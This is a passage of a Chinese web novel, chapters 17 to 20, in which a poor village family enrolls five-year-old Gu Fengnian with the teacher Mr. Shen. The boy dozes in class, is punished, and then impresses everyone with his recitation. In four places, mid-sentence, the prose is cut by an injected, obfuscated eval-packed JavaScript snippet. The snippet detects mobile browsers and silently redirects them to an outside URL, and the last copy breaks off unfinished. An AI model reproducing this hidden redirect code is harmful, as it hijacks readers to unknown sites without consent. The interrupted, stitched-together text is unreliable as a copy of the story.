“既然你们都不反对，那事情就这样定了，老大，明早你陪着我去一趟学堂。” “这么急？” 顾满山有些意外：“不等明年吗，小六毕竟太小，怕他坐不住。” “不等了，就明日。” “那行，我去准备拜师要用的东西。”顾满山见爹娘显然是商量好的，点头答应。 “方才我去还钱的时候，已经同那几家说好，待会儿你走一趟拿回来就成。” 乡下拜师给束脩都简单。 王氏这才收了钱，叮嘱道：“回去跟你们媳妇说，丰年束脩的钱是他自己挣的，回头你们谁要是能拿出钱来，也能送儿子读书。” 这话是专对老二说的，家里就赵氏话最多。 顾满月也知道自家媳妇的德性，黑着脸出去了。 王氏搀扶着顾老爹躺下，笑着说：“咱儿子没白养，都是懂事的。” “这才哪儿到哪儿。”久病床前无孝子，顾老爹虽也觉得自家儿子是好的，但也知道来日方长。 王氏却说：“咱俩养出来的孩子，每一个都是极好的，跟村里那些不孝子可不一样。” 顾老爹无奈，摇头失笑：“癞里头儿子自家的好。今日吃了肉，身体果然有力气许多，我也得快些好起来，不然丰年以后的束脩总不能都靠哥哥。” 只要身体能好起来，顾老爹觉得自己为了幺儿还能再干十几年，读书花销不成问题。 王氏眼神微闪，帮他塞好被子：“那你就好好休息，别想太多，担心思耗气血。” “行，这几日我就吃了睡，睡了吃，争取早日好起来。”顾老爹笑道。 王氏差点没忍住，站起身道：“我去瞧瞧丰年。” “跟他好好说话，别吓着幺儿。”顾老爹不忘叮嘱。 “还要你说。”王氏扭身出去了。 她心底是焦躁不安的，十两银子的药喝着，牛肉也吃了，可顾老爹的身体依旧没好起来。 王氏知道自己不能心急，可每次看到顾老爹虚弱的样子，她心底就有一把火在烧。 万一孩子他爹好不起来，那—— 王氏都不敢深想。 顾丰年吃完饭就回屋趴着，屁股其实没那么疼，就是不自在。 王氏进来的时候，顾丰收正在给他揉屁股，力道大的很。 “娘。”瞧见来人，顾丰收赶紧起身，“弟弟屁股还红着呢。” 王氏失笑，合着打了一次，全家人都觉得她会打孩子。 “你去玩吧，娘帮你弟弟上药。”王氏开口。 顾丰收一步三回头：“娘，你不会再打丰年吧？” “去去去，这也是我亲儿子，合着我成后娘了。”王氏没好气的赶人。 顾丰收这才跑出去。 王氏坐在床边，低头去看，孩子肉嫩，她记得自己明明没用多少力气，结果这会儿一看红彤彤的，看着还有些严重。 顾丰收不知道用了什么药膏，涂得油乎乎的，看着还有些亮晶晶。 王氏轻轻摸了一下：“还疼吗？” 顾丰年趴在枕头上，脸颊挤出两团肉，口中说：“原来不疼，哥哥姐姐每个人揉一揉就疼了。” “娘，尤其是三哥四哥最坏，笑话我，揉得特别用力，他们肯定是故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409315|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。”顾丰年还生气三哥四哥笑得最大声。 “娇气。”王氏摇头失笑，合着不是她打的，是被揉出来的。 “丰年，娘今天打了你，您怪娘吗？” 顾丰年也顾不上屁股了，一骨碌爬起来钻进亲娘怀里：“不怪，丰年知道娘是为了我好，您担心我，怕我出事，所以才会打我的。” “丰年最喜欢娘，一辈子都不会怪娘。” 热乎乎肉嘟嘟的小身体钻进怀中，亲昵的贴在身上，王氏满腔母爱都要溢出来。 她总共有六个孩子，前头四个都是儿子，一个比一个粗心，从来不会说贴心话。 老五倒是姑娘，可这姑娘比小子还像小子，打架在行，软乎话一句都不肯说。 王氏觉得自己偏心有理由，人比人得扔，幺儿跟哥哥姐姐一比那就是贴心小棉袄，不怪她偏疼。 “娘也最喜欢丰年，往后娘再也不打你了。”王氏保证，心底是真有些后悔动手。 顾丰年亲了亲娘脸颊，说：“没关系的娘，要是我不乖你就打我，一点都不疼，真的。” 他压低声音，偷偷说：“我故意表现的很疼，是想让大家疼我，娘收着力气，真的不疼。” 王氏摸着他的小脑袋，眼底都是疼爱。 “娘，爹爹有没有好一些，吃了肉好的快吗？”顾丰年心心念念这个。 王氏眼神一动，点头笑道：“你爹说好多了。” 顿了顿，她搂住儿子问：“丰年，那神仙真的说了你爹能好起来吗？” “肯定能。”顾丰年坚定回答。 在心底暗暗问：【小九，我爹会好起来的，是吧？】 009不想搭理这个消极怠工的家伙，等他急了才慢悠悠回答：【请宿主尽快收录新书籍，换取薪火点，兑换伤药。】 顾丰年听懂了，拍着小胸脯保证：“娘，明天我就去学堂求先生教我新书，背会了就给爹换伤药，爹立刻就能好。” 王氏见他信心满满，一颗心也安定许多。 她笑着捏了捏幺儿鼻尖：“不用求，明天娘带你去拜师，到时候你就能光明正大的学。” 顾丰年瞪大眼睛。 009却激动起来，拜师上学堂，它家宿主终于要走上正轨了！ 一日读完三千卷，收录文明不是梦，从此开创新河山！009甚至已经放起战歌来！ 顾丰年却没那么高兴，小孩儿纠结的拧起眉头：“娘，咱家有钱吗，其实我趴在窗外听也挺好的。” “钱先留给爹看病吃药，还要买牛肉吃，都是背书，在学堂里面外面都没差啊。”顾丰年振振有词。 “有，爹娘有私房钱，供你读书足够了。”王氏笑道，为儿子的懂事而心酸。 见幺儿拧着眉头很纠结，她又压着声音说：“等你读了书，就能从神仙那边得到奖励，多读几本书就能把束脩赚回来。” “神仙那般大方，说不定咱家还赚了，往后顾家就靠丰年你了。” 顾丰年眼睛一亮，握紧小拳头：“娘，我知道了，你放心，我一定会好好读书。” 009差点感动的痛哭流涕，终于等到了，它终于等到这一日！ 18.第 18 章 母子俩相拥重归于好，没有任何隔阂。 隔壁屋子里，牛氏欲言又止。 顾满山拉住妻子的手，将三文钱交给她：“这是娘今日给的，你收着。” “家里正是急用钱的时候，还是给娘吧？”牛氏忙道。 顾满山笑着拍了拍她的手：“小草，我知道你担心什么，爹重伤未愈，三弟四弟又都到了年纪要成亲，咱家负担重，确实不是送丰年读书的好时机。” 牛氏见他说出自己心里话，点头说：“小六是我看着长大的，以他的身体，读书确实是个好路子，只是为什么不多等两年？” 顾满山轻轻搂住妻子：“娘把年轻时候的嫁衣卖了，如今手里有些钱，可钱是不经花的，不趁着这时候送丰年读书，等两年前就花光了。” “现在丰年自己挣了钱，二老手里还有银子，送丰年读书容易，若是过两年花没了，再想送丰年读书就难，光老二家的就爱撒泼。” 牛氏想到家里的情况，顿时也理解公婆的决定。 “现在送去也好，小六脑袋瓜聪明，五岁就能挣钱，等他识字更了不得。” 顾满山也偏爱弟弟，笑着说：“家里你也不要担心，如今没有外债，我们兄弟四个都是壮劳力，肯定饿不着你们母子。” “爹娘的脾气你也知道，虽说疼小六，可也从来没亏待大山几个。” 牛氏听了顿时安心，最后说了句：“爹娘是见过大世面的，他们做的决定肯定有他们的理由，我自然是支持的。” 夫妻俩把话说开，牛氏也就不再惴惴不安，反倒是操持起拜师要用的东西来。 赵氏却是个心急的，还没进屋就一个劲的追问：“他爹，刚我在外头咋听见爹娘要送小六读书？” “爹娘不会真要送小六去读书吧，读书可是要烧钱的，束脩一笔钱，买笔买纸都要花钱，咱们村这么多人家，也就两三户能拿得出来，咱家哪有钱。” “你倒是说句话啊，咱家都成这样了，爹娘咋还要送小六读书？” 顾满月被她烦的不行，耐着性子解释：“小六自己挣了钱，足足三两，足够他读书了。” “三两银子够干什么！” 赵氏一听是真的，更着急了：“爹生病不能干活，还得吃药，家里还欠着那么多钱，哪里供得起一个读书人？” “老二，爹娘这是要吸干你们兄弟几个的血，光养着小六一个人，他们怎么能这么偏心。” 顾满月连忙捂住她的嘴：“瞎咧咧什么，回头让娘听见饶不了你。” “吃饭的时候娘不是说过了，咱家外债都还清了，虽然爹的身体还没好，但我们兄弟几个身强力壮的，家里哪有那么困难。” 赵氏却不同意，愤愤道：“爹病着得吃药，往后都干不了活，小六要读书还不得靠你们这几个哥哥？” “小六是我亲弟弟，靠我们也是应该的。”顾满月说道。 赵氏气急败坏：“傻啊你，你有亲儿子凭啥供弟弟上学，有那个闲钱为啥不供咱大河上学？” 顾满月无奈：“我都说了，小六束脩是自己赚的，家里外债是娘还的，又没让你拿钱你着急个什么劲？” “再说了，小六若能读出个名堂来，我们这些哥哥不也沾光，大河年纪小性子跳脱，只知道到处瞎玩，他是读书的料吗？” 赵氏听不得男人贬低儿子，更是气愤，伸手掐他：“爹生病吃药，我还拿了一百文呢。” “我是儿子，给咱爹看病不是应该的，当初你家咬死咬五两银子的彩礼，不也是爹娘掏钱，一百文算什么，爹娘养我长大花了一百个一千个一百文。” 顾满月见她说不通，索性来了招：“反正事情已经定了，你说也没用，有本事出去说，看娘不揍你。” 赵氏气急败坏，愣是没办法，她倒是想出去把顾丰年读书这桩事闹黄了，可惜没有人帮她，光凭她自己哪儿有这个胆子。 不管赵氏有多不满，第二天一早，王氏就把孩子拽起来，收拾的干干净净，带着顾满山就出门了。 顾丰年不用大哥抱，坚持下来自己走，路上就在画饼。 “娘，等我读了书给大家买肉吃，还有糖，也许还有点心和蜜饯。” 王氏心知他说的是神仙奖励，笑着摸了摸小脑袋：“好好好，娘等着。” 顾满山被逗得不行，心想弟弟到底年纪小，不知道读书一开始都是花钱，猴年马月才能挣钱。 等到了学堂门口，王氏弯下腰又把孩子收拾一遍，确保头发丝都没乱才罢休。 “沈先生，您在家吗？” 沈先生刚起身，正跟夫人抱怨：“顾家出了事，那孩子就不来学堂旁听了，旁听又不要钱，为什么不让孩子来？” “读书是长久的功夫，一日不读就生疏，顾家怎么如此短视。” “顾老爹重伤，留那孩子在家也没用，倒不如放到学堂，我还能替他们看着。” 沈夫人知道他的心思，故意说：“孩子小也能干活，在家帮帮忙也是好的，总不能像以前一样到处乱跑。” “亲爹出事，那孩子要是还没心没肺的像什么话？” 沈先生痛心疾首：“读书就是正经事，怎么能说没心没肺，再说那孩子是有些天赋的，只因家贫耽误了，多可惜。” “天底下有天赋却因家贫耽误的孩子多了去，你也管不过来。”沈夫人摇头。 沈先生越想越不是滋味。 他自己读书多年，但因为天赋平平最终只考了一个童生，因此蹉跎半生很是遗憾。 如今来到长溪村教学，沈先生早已放弃科考这条路。 好不容易遇上个有天赋的孩子，沈先生被激起一番爱才之心。 左思右想，他忍不住说了句：“你说，要是我愿意不要束脩，顾家能让孩子来读书吗？” “既然这么喜欢，你倒不如收为养子，到时候供他读书。”沈夫人没好气的说。 哪知道沈先生一听，居然连连叫好：“娘子，你这主意不错，不如就由你去跟顾家透个口风。” 沈夫人没想到自己随口一句话，自家相公还当真了，连忙改口想劝阻，收养子哪里是能轻率决定的事情。 这时候外头传来声音。 沈夫人起身一瞧：“咦，是顾家娘子，他们怎么会这么早过来？” 虽然学堂的门是栅栏，一推就开，但王氏对读书人尊敬，不敢擅自进去，只在门口等候。 一会儿，沈先生就出来了，一眼就瞧见他们带着的东西。 “你们这是？”沈先生疑惑不解。 顾丰年仰着头，兴高采烈的开口：“先生，我要拜你为师，请先生收下我。” 昨晚上他已经想好了，读书才是正经事。 去县城赚钱难，赚了钱爹娘还要生气，小孩儿不能自己去县城 倒不如听爹娘话读书，读了书，就能从小九那儿换东西，也算是挣钱养家。 顾丰年觉得自己小小的肩膀上，已经可以挑起整个家，只要努力读书就成。 王氏也跟着开口：“沈先生，我们夫妻早前就想送孩子来读书，只是一直没下定决心，昨日听丰年背书很是流利，这才终于下定决心。” 顾满山更是将拜师礼献上。 沈先生没料到这峰回路转，一时都没反应过来。 “沈先生，还请收下小儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413845|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”王氏见他没反应，心急起来，“丰年，快给先生磕头。” 顾丰年立刻就要磕头行礼。 沈先生一把拦住他：“进来说话。” 进了屋，王氏一个劲开口：“束脩我们已凑好了，只是乡下人家不知礼数，便按着长栋那时候准备的拜师礼，若是有哪里不妥当，先生您告诉我，我们立刻就改。” 沈先生没在意那些礼物，摸着山羊须看向母子三：“老夫听闻你家今日有变故，如今可好了？” “好了，都好了。” 王氏自然知道沈先生的担忧，笑着说：“丰年他爹没事，只需好好养着就能好起来，家里虽难了些，但供孩子读书不成问题。” 听完这话，沈先生果然心底大安。 他扭头看向顾丰年，小孩儿精神抖擞，脸色红润，看着确实不像是家中困难。 摸了把胡子，沈先生开了口：“顾丰年，若进了学堂，那就得勤奋刻苦，可不像以前那般三天打鱼两天晒网，哪日敢调皮捣蛋，老夫的戒尺也不会客气。” 顾丰年连连点头，一副乖巧的样子：“先生，我一定很努力，绝不调皮。” “要是我不听话，先生只管打我，我绝对不跑。” 沈先生差点没被逗笑，点了点头：“既如此，你跪下磕头吧。” 王氏一听，满脸喜色：“丰年，快跪下喊先生。” “先生！请受学生一拜。”顾丰年实诚的磕了头。 沈先生原本就喜欢他，见识了孩子天赋更是中意，这会儿看他哪儿哪儿都好。 等磕了头，喝了茶，沈先生脸上挡不住的满意：“好孩子，快起来吧。” 想了想，又开口：“我有一套用旧的笔墨纸砚，成色一般，但开蒙用着也够了，你带回去。” 沈夫人二话不说，直接拿了过来。 王氏连忙说：“先生，顾家虽穷，给孩子买笔墨纸砚的银钱还是有的，哪能要先生给。” 沈先生却很坚持：“是老夫这个当老师的送给孩子的，不嫌弃就拿着吧。” 话说到这份上，王氏只能收下，心底也意识到沈先生对自家孩子多有偏爱。 怪不得之前丰年就爱往学堂跑，都说沈先生严厉，人还挺好的咧。 沈先生显然比王氏以为的更偏爱顾丰年，大手一挥：“来都来了，择日不如撞日，那就今日入学，蒙童入学也无需买什么书，老夫给他一本《三字经》就够用，直接上课就是。” 沈夫人看得心底直摇头，哪有上门拜师读书，又是给文房四宝又是给《三字经》的，束脩都不够买，看来自家老头是真喜欢这孩子，都倒贴了。 王氏不懂这些，只知道早日读书是好事，痛快的将孩子留下，自己带着老大回家去了。 沈先生摸了摸顾丰年脑袋：“自己去找个位置坐下，记住，上课认真，切不可调皮，否则就打手心。” 顾丰年连连点头，撒丫子往学堂跑。 此时此刻，沈先生还沉浸在喜得佳徒的快乐中，完全不知道自己收下了个混世魔王。 他得意洋洋的看向沈夫人：“老夫就说跟这孩子有缘分，你看，主动上门了。” 沈夫人无奈摇头。 顾丰年跑进学堂，一看傻眼了，才想到学堂的桌子是有数的，都是学生确定入学后从家里搬来的。 他第一天来，自然没有属于他的桌子。 顾丰年抓了抓脸颊，在回家搬桌子和找沈先生中间，选择站在了后排。 牛学文拖拖拉拉走进学堂，第一眼就瞧见站在自己座位旁边的顾丰年，惊喜的叫出声来。 “丰年，你改变主意要给我当书童了吗？” 19.第 19 章 顾丰年一听就知道牛学文误会了。 他赶紧摇头：“不是不是，我也是来读书的。” “啊？”牛学文大失所望。 他心心念念要一个书童，还得是长得好看，聪明伶俐，最好就是顾丰年这样的。 可惜，顾丰年不乐意，牛学文顿时不那么开心。 牛长栋走进来，笑着伸手揉了揉小脑袋：“那以后咱们就是同窗了，有什么不懂的只管问我。” “可拉倒吧，就你自身难保，问你还不如问我。”牛学文冷哼。 牛长栋被嘲讽也不生气：“你家没准备桌子吗，过来跟我一起坐，咱俩可以挤一挤。” 他拉出自己的板凳，不大，但坐两个小孩儿足够。 顾丰年被拉过去，转头问：“会不会挤着你，其实我站着也可以，以前都是趴在外头听，听的可清楚了。” 小孩儿觉得站着听也不错，跟坐着没啥两样。 牛长栋哈哈一笑：“那怎么一样，现在你是我同窗了，怎么能让你站着。” “就你那凳子哪儿坐得下，顾丰年，你坐我这儿。”牛学文昂起下巴。 作为地主孙子，学堂家世第一好，牛学文的凳子也又大又宽。 虽然昨天牛学文帮了忙，但以前老喜欢嘲讽自己，相比起他，顾丰年当然更喜欢牛长栋。 “不用啦，我跟长栋哥一起坐。” 顾丰年摆了摆手，坐在了牛长栋身边。 牛长栋得意的往后瞧了一眼，自己只坐半个屁股，生怕把小孩儿挤下去：“你可以先用我的书，看，跟新的一样。” 确实跟新的一样，牛长栋是个学渣，上课不积极，下课第一名。 眼看顾丰年宁愿跟牛长栋挤一挤，两人凑在一起排排坐，牛学文顿时不高兴。 他大声摔摔打打，将书本摔得啪啪作响，脸色阴沉沉的。 哪知道前头两个都没在意，甚至没回头多看他一眼。 牛学文更生气，故意大声说：“有些人就是不识好歹，放着舒坦位置不坐，非得跟人挤，我看还不如在窗口趴着，连束脩都省了。” 顾丰年终于听见，回头解释：“学文哥，我本来也这样想，你也知道我家困难，能省一点是一点，但爹娘说不行，一定要让我拜师。” 他倒是半点不觉得趴在窗口丢人，还特骄傲。 牛学文见他说话软乎乎，真心实意的，一肚子话噎住吐不出来。 好一会儿，他才冷哼：“小孩儿懂什么，在外头在里头能一样吗？” “学文哥，刚才不是你说一样的吗？”顾丰年奇怪，原以为他们想的一样呢。 牛学文脸色一下子涨得通红，支支吾吾说不出话来。 “丰年就是爱跟我挤，你咋那么多话，我看你就是嫉妒。”牛长栋回头说了一句。 牛学文嗓门一下子大起来：“放屁，我怎么可能嫉妒你。” 声音太大，引得其余同窗纷纷侧目。 “咳咳——” 没等他们吵起来，沈先生迈着步子走进学堂，扫了眼还在吵闹的人。 牛学文立刻不敢吱声，像是被掐住脖子的小公鸡秒变鹌鹑，坐姿都变得十分端正。 沈先生扫了一眼，见顾丰年跟牛长栋挤在一个凳子上也没说什么。 “今日学堂新添一学生顾丰年，以后便是你们的同窗，应该相互照顾，切磋学问，共求上进，切不可欺负弱小。” “是，先生。” 学堂里原来统共十二名学生，如今加上顾丰年也只有十三人。 其中只有三个是长溪村的，其余都是附近村庄送过来的，大多并不认识顾丰年，正好奇的打量他。 会被送来读书的，一般家庭都还不错，大的已经十多岁，小的也有七八岁，顾丰年才五岁，成了学堂里年龄最小的。 学生们大多记得那颗时不时从窗口冒出来的小脑袋，如今见他成了同窗，一个个脸色各异。 沈先生满意的点了点头，开始一天的学习。 顾丰年一开始学着牛长栋的样子，背脊挺的直直的，小手放得端端正正，就差把认真写在脸上。 但很快，小孩儿就偷偷打了个哈欠。 沈先生按着学堂的进度教学，今日教的内容顾丰年早就背会了，坐了一会儿就开始无聊。 顾丰年毕竟小，今日又起了大早，这会儿周围都是朗朗读书声，催得他整个人昏昏欲睡。 一开始认认真真的小脑袋，很快变成一点一点。 沈先生拧起眉头，狠狠瞪了新鲜出炉的学生一眼，可惜后者压根没看见，眼睛已经眯成一道缝。 牛长栋担心的不行，偷偷伸出手戳了戳顾丰年。 “赶紧起来，别睡。” 结果倒好，顾丰年啪叽一声，整颗脑袋趴在了桌案上，竟然还打起了小呼噜。 呼噜声突兀的在学堂中回荡。 沈先生忍无可忍，猛地拿出戒尺，用力一拍：“顾丰年！” “到！” 顾丰年整个蹦了起来，揉了揉眼睛：“下课了。” 说着就要往外跑。 动作迅猛牛长栋拉都拉不住，还是牛学文伸了把手，好歹没让他撒腿跑出去。 “正上课呢，赶紧给先生道歉。”牛学文提醒。 他现在知道顾丰年压根不能当书童，哪有书童上课打瞌睡，还睡出小呼噜的。 完了完了，顾丰年头一天上学就得挨打，牛学文面露同情。 以前顾丰年趴在窗口听的多认真，结果呢，进了学堂反倒不成了。 他哪里知道，以前顾丰年确实是趴在窗口听，但每日只听一小会儿，记住新内容就可以跑出去玩。 自由自在。 现在却不同，上学就得在学堂里待着，同样的内容来来回回听很多遍。 早就已经背会的内容，顾丰年听着就跟催眠曲似得，一点兴趣都没有，不打瞌睡才怪了。 “顾丰年！”沈先生一声厉喝。 顾丰年猛地一个激灵，终于清醒过来，意识到自己干了什么。 小孩儿立刻耷拉下小脑袋，老老实实走回去，认认真真道歉：“先生，对不起，我忘记正在上课了。” 沈先生胡子翘了翘，到底忍住了没发作：“且谅你第一回上课，不知道规矩，这次不打你，快坐回去。” 顾丰年赶紧坐好。 沈先生冷声道：“在学堂里上课，不可打瞌睡，不可交头接耳，不可嬉戏喧哗，更不可随意走动，下次再犯老夫就不客气了。” 顾丰年连连点头，乖乖保证：“先生，我再也不会了。” 见他认错态度良好，沈先生没有追究，继续开始讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422093|184154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课。 牛长栋吐出一口气，低声说：“幸好先生没追究，打起精神来，不然会挨打的。” “先生打人可疼了。”牛学文也低声警告。 顾丰年一个劲点头。 牛长栋刚刚安心，结果没一会儿，顾丰年又开始脑袋捣蒜，一点一点。 “别睡！”牛长栋暗道不好，伸手掐他。 顾丰年一把拍开他的手，啪叽一下，直接趴在桌上大睡特睡。 沈先生终于忍无可忍，重重拍下戒尺。 顾丰年一个激灵站起身，这次想起自己在课堂，没往外跑。 “先生对不起，我又睡着了。” 沈先生瞧见他一脸无辜，心底也头疼，之前光想着这孩子天赋异禀，没在意年纪，如今一看比同窗都矮一大截。 “既然坐着打瞌睡，那就去后头站着，去。” 沈先生冷哼。 顾丰年利索的站到后排，还举起手捏着自己的耳朵，一副乖乖认错的样。 沈先生皱了皱眉：“站好，做什么怪样子。” 顾丰年哦了一声，挺直脊背，但没把捏着耳朵的手放下。 “你捏耳朵作甚？”沈先生拧着眉头问。 顾丰年奶声奶气的解释：“先生，我怕自己又睡着，所以捏着耳朵，想睡就掐一下，这样就不会睡着啦。” 沈先生原本生气的很，听见这话又心软了，觉得孩子虽然年纪小，睡眠多，但态度还是很好的，于是点了点头默许。 他继续开始讲课。 谁知刚说了没两句，一抬头，顾丰年站在后排，捏着耳朵，歪着小脑袋靠着门就睡着了。 靠着门板仰着头，小嘴微张睡得香甜。 牛学文牛长栋几个纷纷回头，有的担心，有的取笑，完全破坏了课堂秩序。 沈先生忍无可忍：“顾丰年。” 顾丰年被吓醒，意识到自己居然又睡着，顿时苦了小脸。 他也不想睡，但眼睛自己闭起来了。 “伸手！” 沈先生气势汹汹的走过来，抡起戒尺。 顾丰年还没意识到会发生什么，乖乖伸出自己的手。 牛长栋已经不忍的闭上眼睛，好惨，比他还惨，至少他第一天上课没挨打。 牛学文也一脸担心，先生打人可疼了，顾丰年小手嫩生生的，肯定会肿起来。 “啪——” 疼痛感传来，顾丰年眨巴眨巴眼睛想哭，意识到自己在学堂里又强行忍住，哭声忍住了，眼泪却忍不住，大颗大颗往下掉。 沈先生原本想打三下，结果才打了一下，小孩儿就哭得那么可怜。 看着珍珠大的泪珠，沈先生都疑惑自己是不是太用力，是不是太严格了。 他轻咳一声，板着脸教训：“既来了学堂，就得认真读书，不然岂不白费了你爹娘缴纳的束脩，若是只想睡觉，倒不如回家去睡，还省了银钱。” 顾丰年哭得更难过了。 他也想忍住，但眼睛就是想睡，小孩儿气呼呼的打了下额头：“坏眼睛，不许睡。” 打完仰起头，用哭得水汪汪的大眼睛看着先生：“先生，你打我吧，打疼就不会睡着了。” 沈先生哪里还打得下去，一时头疼不已。 他隐隐约约察觉到，自己似乎收下了个大麻烦。 20.第 20 章 原本就是偏爱的学生，心心念念了好久才终于收下，沈先生心疼还来不及。 再看顾丰年认错态度良好，哭得稀里哗啦好不可怜，又是小小一只，沈先生哪里忍心责怪。 收起戒尺，沈先生教训的声音都柔和许多：“知错就改善莫大焉，既知道打瞌睡是错的，就要忍住。” “行了，擦把脸去坐下，继续上课。” “谢谢先生。” 顾丰年吸了吸酸溜溜的鼻子，带着红彤彤的眼睛坐回去。 手疼，心底也疼，倒是真的不困了。 牛长栋同情的看了他一眼，手掌心都被打红了，待会儿肯定会肿起来。 很快，牛长栋就顾不上同情别人了，因为沈先生讲完课，开始一个个叫学生起来背诵。 但凡被抽中的学生都绷紧脸色，磕磕绊绊的背诵，能背出来的如蒙大赦，背不出来的就如临大敌，都得挨板子。 沈先生一视同仁，戒尺抽打手掌心的声音此起彼伏。 挨打的学生咬紧牙关，不敢哭，哭了先生会打得更狠。 顾丰年也听见了，瞪大眼睛看着这一幕，以前他只听一小会儿，还没看过这残酷无情的场景。 看着都疼！ 顾丰年吹了吹手心，还是疼，跟昨天被打屁股一样，难道以后每天都要挨打？ 他下意识摸了摸屁股，在心底为自己加油，为了给爹爹挣到伤药，挨打也要坚持下去。 【小九，我是绝对不会放弃的，挨打也不会放弃！】 009沉默，一时不知道同情小孩儿第一天上学就挨打，还是感叹幼儿园小孩难带。 “牛长栋。”沈先生终于点到了牛长栋。 牛长栋站起身，紧张的握紧拳头：“彼……彼……彼……” 昨天光顾着玩了，还去了一趟县城，牛长栋哪儿还记得背书，压根背不出来，停在第一个字就想不起来。 顾丰年眼珠子一转，偷偷捂住嘴：“彼既老，犹悔迟。尔小生，宜早思。” 他自以为做的隐秘，其实沈先生看得清清楚楚，不知想到什么没有发作。 牛长栋紧张的声音绷紧，见沈先生居然没阻止，立刻背下去：“彼既老，犹悔迟。尔小生，宜早思。” 迎着沈先生眼神，牛长栋心虚没底气，越背声音越小。 下一刻，沈先生冷笑一声：“顾丰年！” 顾丰年蹦的站起身，结果个头太矮，只露出一颗脑袋来。 “你以为是在帮他，殊不知是在害他，若是连三字经都背不下去，倒不如早些回家种地，省得浪费银钱。” 顾丰年瞪大眼睛，显然没听懂这话里头的意思。 沈先生看向两人：“老夫且问你，你帮他这一回，难道以后回回都能帮忙？” 顾丰年连连点头，举手表示：“我可以的。” 牛长栋差点没忍住笑，轻轻撞了一下身边的小伙伴，两人对视都咧开嘴很开心。 沈先生差点噎住，他是这个意思吗？ 偏偏牛长栋还一脸感动，要不是沈先生震着，他就得说一声好兄弟讲义气。 “那你可曾想过，如此一来，牛长栋看似会背，实则不过心，学了等于没学，白白浪费光阴，往后等你们长大成人，他要靠着识字的本事谋生，难道你也能替他去？” “你能替他背书，以后是不是也能替他干活，替他撑起门户，替他养家糊口？” 沈先生继续问。 顾丰年顺着这话往下想，果然拧起眉头来，他还小，但也知道自己是没办法一直跟着长栋哥的。 再说了，爹娘说过，就算是亲兄弟还得明算账，大哥二哥三哥四哥也得各自养妻儿老小，不能光指望兄弟帮忙。 小孩儿终于意识到自己做错事情了，心虚的低下头。 “家里送你们来读书识字，是为了让你们有一技之长，就算将来不走科考这条路，也能谋得一样好差事。” 沈先生重点看了看那几个平日里不用心的：“若你们实在无心学习，大可以回家告诉爹娘，明日就不用来了。” 他顺势敲打，不只是牛长栋，乡野学堂，读书的氛围差，好几个都是人在心不在，学了三个月连背诵都难。 沈先生有时候觉得窝火，却又无可奈何，总不能追着他们屁股后头盯着。 今日顾丰年撞在枪口上，沈先生立刻抓住机会教训，指望学生能听到心里去。 牛长栋低下头：“先生，我知道错了，以后再也不会了。” 他只是贪玩，脑子不好学不会，并非不知道读书的好处。 家里孩子那么多，因为是长孙才得了读书的机会，牛长栋心底还是明白的。 沈先生这才满意点了点头：“你知道就好，要好好珍惜这个机会。” “是，先生。” 顾丰年也听明白了，老实回答：“先生，我以后再也不帮忙了。” 沈先生眼底闪过一丝笑容，孩子尚小，很多事情都不懂，好朋友讲义气也是正常。 胜在听得进教训，知错就改，沈先生点头道：“记住就好。” “牛长栋坐下，顾丰年，你继续往下背。” 听见这话，其余学生纷纷露出诧异的神情来，他们可只学到这里。 虽知道顾丰年常在窗外偷听，可每次就听那么一小会儿，他能背？ 牛学文更是担心，生怕沈先生故意为难，待会儿顾丰年又得挨板子，唯有牛长栋知道真相，不但不担心，反倒是期待的看向身边人。 果然，顾丰年一点儿也不慌乱。 他站得笔直，背着小手，口齿清晰的往下背诵，一字不差。 这下其余学生都纷纷瞪大眼睛，不敢置信。 为什么趴在窗外偷听的孩子，背得比他们更快更好，甚至进度还更快。 沈先生眼底笑意更浓：“不错，背得很好，你入学晚，老夫原本还担心你跟不上进度，如今看来倒是不必担忧。” “不过就算已经会了，上课也得认真，光会背还不够，需融会贯通，能读能写才算是真的会。” 顾丰年乖乖点头：“先生，我记住了。” “嗯，坐下吧。”沈先生秀了一把，很是满意。 一堂课下来，学生们都见识到沈先生的偏爱，看向顾丰年的眼神都变了。 挨了打，顾丰年接下来果然没睡，强撑着到下课。 沈先生要走，学堂里立刻热闹起来，一群孩子叽叽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 